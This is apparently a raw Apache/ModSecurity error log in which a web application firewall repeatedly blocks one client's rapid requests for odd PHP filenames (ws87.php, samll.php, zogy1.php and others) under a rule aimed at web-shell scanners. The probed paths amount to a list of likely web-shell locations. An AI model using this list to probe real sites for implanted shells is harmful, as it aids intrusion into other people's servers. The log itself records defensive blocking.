[Sat Apr 18 06:20:23.303411 2026] [:error] [pid 9970:tid 9975] [client 20.203.143.130:6116] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "aeKyJyYdRLRhVmaIMx3YpAAAAME"]
[Sat Apr 18 06:20:24.143001 2026] [:error] [pid 9970:tid 9976] [client 20.203.143.130:18116] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws87.php"] [unique_id "aeKyKCYdRLRhVmaIMx3YrAAAAMI"]
[Sat Apr 18 06:20:24.930145 2026] [:error] [pid 9864:tid 9915] [client 20.203.143.130:6121] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws87.php"] [unique_id "aeKyKICFeowknfXHM7k-kgAAAEk"]
[Sat Apr 18 06:20:25.933389 2026] [:error] [pid 9970:tid 9998] [client 20.203.143.130:6107] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws87.php"] [unique_id "aeKyKSYdRLRhVmaIMx3YsQAAANg"]
[Sat Apr 18 06:20:26.695451 2026] [:error] [pid 13023:tid 13030] [client 20.203.143.130:18154] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws87.php"] [unique_id "aeKyKv1e7hG8DAeABB_80wAAAQU"]
[Sat Apr 18 06:20:27.265807 2026] [:error] [pid 13023:tid 13035] [client 20.203.143.130:18133] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aeKyK_1e7hG8DAeABB_81AAAAQo"]
[Sat Apr 18 06:20:27.925243 2026] [:error] [pid 9865:tid 9954] [client 20.203.143.130:6110] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aeKyK6zb5knECIY-C-i0lgAAAJE"]
[Sat Apr 18 06:20:28.645063 2026] [:error] [pid 9864:tid 9910] [client 20.203.143.130:6098] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aeKyLICFeowknfXHM7k-lwAAAEU"]
[Sat Apr 18 06:20:29.385732 2026] [:error] [pid 13023:tid 13028] [client 20.203.143.130:6031] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aeKyLf1e7hG8DAeABB_82QAAAQM"]
[Sat Apr 18 06:20:30.264142 2026] [:error] [pid 9864:tid 9919] [client 20.203.143.130:6040] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/r2.php"] [unique_id "aeKyLoCFeowknfXHM7k-nwAAAE0"]
[Sat Apr 18 06:20:30.893927 2026] [:error] [pid 9970:tid 9989] [client 20.203.143.130:6124] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/r2.php"] [unique_id "aeKyLiYdRLRhVmaIMx3YwQAAAM8"]
[Sat Apr 18 06:20:31.592410 2026] [:error] [pid 9970:tid 9981] [client 20.203.143.130:18168] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/r2.php"] [unique_id "aeKyLyYdRLRhVmaIMx3YwwAAAMc"]
[Sat Apr 18 06:20:32.205699 2026] [:error] [pid 9970:tid 9990] [client 20.203.143.130:18131] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/r2.php"] [unique_id "aeKyMCYdRLRhVmaIMx3YxwAAANA"]
[Sat Apr 18 06:20:33.312161 2026] [:error] [pid 9970:tid 9997] [client 20.203.143.130:6054] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aeKyMSYdRLRhVmaIMx3YzwAAANc"]
[Sat Apr 18 06:20:34.011544 2026] [:error] [pid 9970:tid 9981] [client 20.203.143.130:5955] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aeKyMiYdRLRhVmaIMx3Y1AAAAMc"]
[Sat Apr 18 06:20:34.618678 2026] [:error] [pid 9970:tid 9987] [client 20.203.143.130:6135] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aeKyMiYdRLRhVmaIMx3Y2AAAAM0"]
[Sat Apr 18 06:20:35.565695 2026] [:error] [pid 9864:tid 9923] [client 20.203.143.130:5953] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aeKyM4CFeowknfXHM7k-pwAAAFE"]
[Sat Apr 18 06:20:36.837496 2026] [:error] [pid 9970:tid 9993] [client 20.203.143.130:18142] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/006.php"] [unique_id "aeKyNCYdRLRhVmaIMx3Y3QAAANM"]
[Sat Apr 18 06:20:37.438063 2026] [:error] [pid 9970:tid 9996] [client 20.203.143.130:6140] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/006.php"] [unique_id "aeKyNSYdRLRhVmaIMx3Y4AAAANY"]
[Sat Apr 18 06:20:37.977475 2026] [:error] [pid 9970:tid 9987] [client 20.203.143.130:6052] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/006.php"] [unique_id "aeKyNSYdRLRhVmaIMx3Y5QAAAM0"]
[Sat Apr 18 06:20:38.549036 2026] [:error] [pid 9970:tid 9990] [client 20.203.143.130:6133] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/006.php"] [unique_id "aeKyNiYdRLRhVmaIMx3Y5wAAANA"]
[Sat Apr 18 06:20:39.143124 2026] [:error] [pid 13023:tid 13025] [client 20.203.143.130:6095] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/samll.php"] [unique_id "aeKyN_1e7hG8DAeABB_88gAAAQA"]
[Sat Apr 18 06:20:39.702954 2026] [:error] [pid 9970:tid 9978] [client 20.203.143.130:5990] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/samll.php"] [unique_id "aeKyNyYdRLRhVmaIMx3Y6AAAAMQ"]
[Sat Apr 18 06:20:40.331615 2026] [:error] [pid 9865:tid 9949] [client 20.203.143.130:6109] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/samll.php"] [unique_id "aeKyOKzb5knECIY-C-i0pQAAAIw"]
[Sat Apr 18 06:20:40.890933 2026] [:error] [pid 13023:tid 13047] [client 20.203.143.130:6095] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/samll.php"] [unique_id "aeKyOP1e7hG8DAeABB_8-QAAARY"]
[Sat Apr 18 06:20:41.786699 2026] [:error] [pid 13023:tid 13030] [client 20.203.143.130:6071] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "aeKyOf1e7hG8DAeABB_8_wAAAQU"]
[Sat Apr 18 06:20:42.446609 2026] [:error] [pid 9970:tid 9980] [client 20.203.143.130:6043] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "aeKyOiYdRLRhVmaIMx3Y6wAAAMY"]
[Sat Apr 18 06:20:43.092601 2026] [:error] [pid 9865:tid 9944] [client 20.203.143.130:6012] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "aeKyO6zb5knECIY-C-i0qAAAAIc"]
[Sat Apr 18 06:20:43.663097 2026] [:error] [pid 9865:tid 9956] [client 20.203.143.130:6021] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "aeKyO6zb5knECIY-C-i0qwAAAJM"]
[Sat Apr 18 06:20:44.274249 2026] [:error] [pid 9863:tid 9897] [client 20.203.143.130:6036] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeKyPDjjiypiFrTucbIVsQAAABg"]
[Sat Apr 18 06:20:44.845350 2026] [:error] [pid 9864:tid 9912] [client 20.203.143.130:6026] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeKyPICFeowknfXHM7k-uwAAAEY"]
[Sat Apr 18 06:20:45.702978 2026] [:error] [pid 9970:tid 9976] [client 20.203.143.130:6039] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeKyPSYdRLRhVmaIMx3Y7QAAAMI"]
[Sat Apr 18 06:20:46.293417 2026] [:error] [pid 9864:tid 9919] [client 20.203.143.130:5978] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeKyPoCFeowknfXHM7k-vwAAAE0"]
[Sat Apr 18 06:20:46.990454 2026] [:error] [pid 9865:tid 9942] [client 20.203.143.130:6060] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aeKyPqzb5knECIY-C-i0sQAAAIU"]
[Sat Apr 18 06:20:47.552383 2026] [:error] [pid 9864:tid 9926] [client 20.203.143.130:5977] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aeKyP4CFeowknfXHM7k-wAAAAFQ"]
[Sat Apr 18 06:20:48.057176 2026] [:error] [pid 9864:tid 9906] [client 20.203.143.130:6059] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aeKyQICFeowknfXHM7k-wgAAAEE"]
[Sat Apr 18 06:20:48.628285 2026] [:error] [pid 9865:tid 9944] [client 20.203.143.130:5964] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aeKyQKzb5knECIY-C-i0uAAAAIc"]
[Sat Apr 18 06:20:49.179217 2026] [:error] [pid 9864:tid 9909] [client 20.203.143.130:6134] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gz.php"] [unique_id "aeKyQYCFeowknfXHM7k-xwAAAEQ"]
[Sat Apr 18 06:20:49.906157 2026] [:error] [pid 9970:tid 9983] [client 20.203.143.130:6042] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gz.php"] [unique_id "aeKyQSYdRLRhVmaIMx3Y8QAAAMk"]
[Sat Apr 18 06:20:50.513991 2026] [:error] [pid 13023:tid 13025] [client 20.203.143.130:6083] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gz.php"] [unique_id "aeKyQv1e7hG8DAeABB_9EQAAAQA"]
[Sat Apr 18 06:20:51.072127 2026] [:error] [pid 13023:tid 13040] [client 20.203.143.130:6049] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gz.php"] [unique_id "aeKyQ_1e7hG8DAeABB_9FAAAAQ8"]
[Sat Apr 18 06:20:51.648382 2026] [:error] [pid 9864:tid 9921] [client 20.203.143.130:6074] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gelio1.php"] [unique_id "aeKyQ4CFeowknfXHM7k-ywAAAE8"]
[Sat Apr 18 06:20:52.428764 2026] [:error] [pid 9865:tid 9955] [client 20.203.143.130:6080] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gelio1.php"] [unique_id "aeKyRKzb5knECIY-C-i0vQAAAJI"]
[Sat Apr 18 06:20:52.974172 2026] [:error] [pid 9864:tid 9910] [client 20.203.143.130:6141] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gelio1.php"] [unique_id "aeKyRICFeowknfXHM7k-0AAAAEU"]
[Sat Apr 18 06:20:53.913003 2026] [:error] [pid 9865:tid 9949] [client 20.203.143.130:5971] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gelio1.php"] [unique_id "aeKyRazb5knECIY-C-i0wgAAAIw"]
[Sat Apr 18 06:21:00.955252 2026] [:error] [pid 9865:tid 9946] [client 20.203.143.130:6019] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Ipv6.php"] [unique_id "aeKyTKzb5knECIY-C-i02QAAAIk"]
[Sat Apr 18 06:21:01.509110 2026] [:error] [pid 13023:tid 13030] [client 20.203.143.130:6115] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Ipv6.php"] [unique_id "aeKyTf1e7hG8DAeABB_9JAAAAQU"]
[Sat Apr 18 06:21:02.000007 2026] [:error] [pid 9970:tid 9983] [client 20.203.143.130:5989] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Ipv6.php"] [unique_id "aeKyTSYdRLRhVmaIMx3ZAAAAAMk"]
[Sat Apr 18 06:21:02.476622 2026] [:error] [pid 9970:tid 9988] [client 20.203.143.130:6025] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Ipv6.php"] [unique_id "aeKyTiYdRLRhVmaIMx3ZAwAAAM4"]
[Sat Apr 18 06:21:02.982807 2026] [:error] [pid 9970:tid 9975] [client 20.203.143.130:6073] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeKyTiYdRLRhVmaIMx3ZBgAAAME"]
[Sat Apr 18 06:21:03.465143 2026] [:error] [pid 9865:tid 9961] [client 20.203.143.130:6035] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeKyT6zb5knECIY-C-i03gAAAJg"]
[Sat Apr 18 06:21:04.052072 2026] [:error] [pid 9970:tid 9980] [client 20.203.143.130:6069] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeKyUCYdRLRhVmaIMx3ZCwAAAMY"]
[Sat Apr 18 06:21:04.656930 2026] [:error] [pid 9970:tid 9992] [client 20.203.143.130:6088] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeKyUCYdRLRhVmaIMx3ZDAAAANI"]
[Sat Apr 18 06:21:05.286547 2026] [:error] [pid 9865:tid 9940] [client 20.203.143.130:6065] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "aeKyUazb5knECIY-C-i05AAAAIM"]
[Sat Apr 18 06:21:05.940638 2026] [:error] [pid 9865:tid 9957] [client 20.203.143.130:6063] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "aeKyUazb5knECIY-C-i05gAAAJQ"]
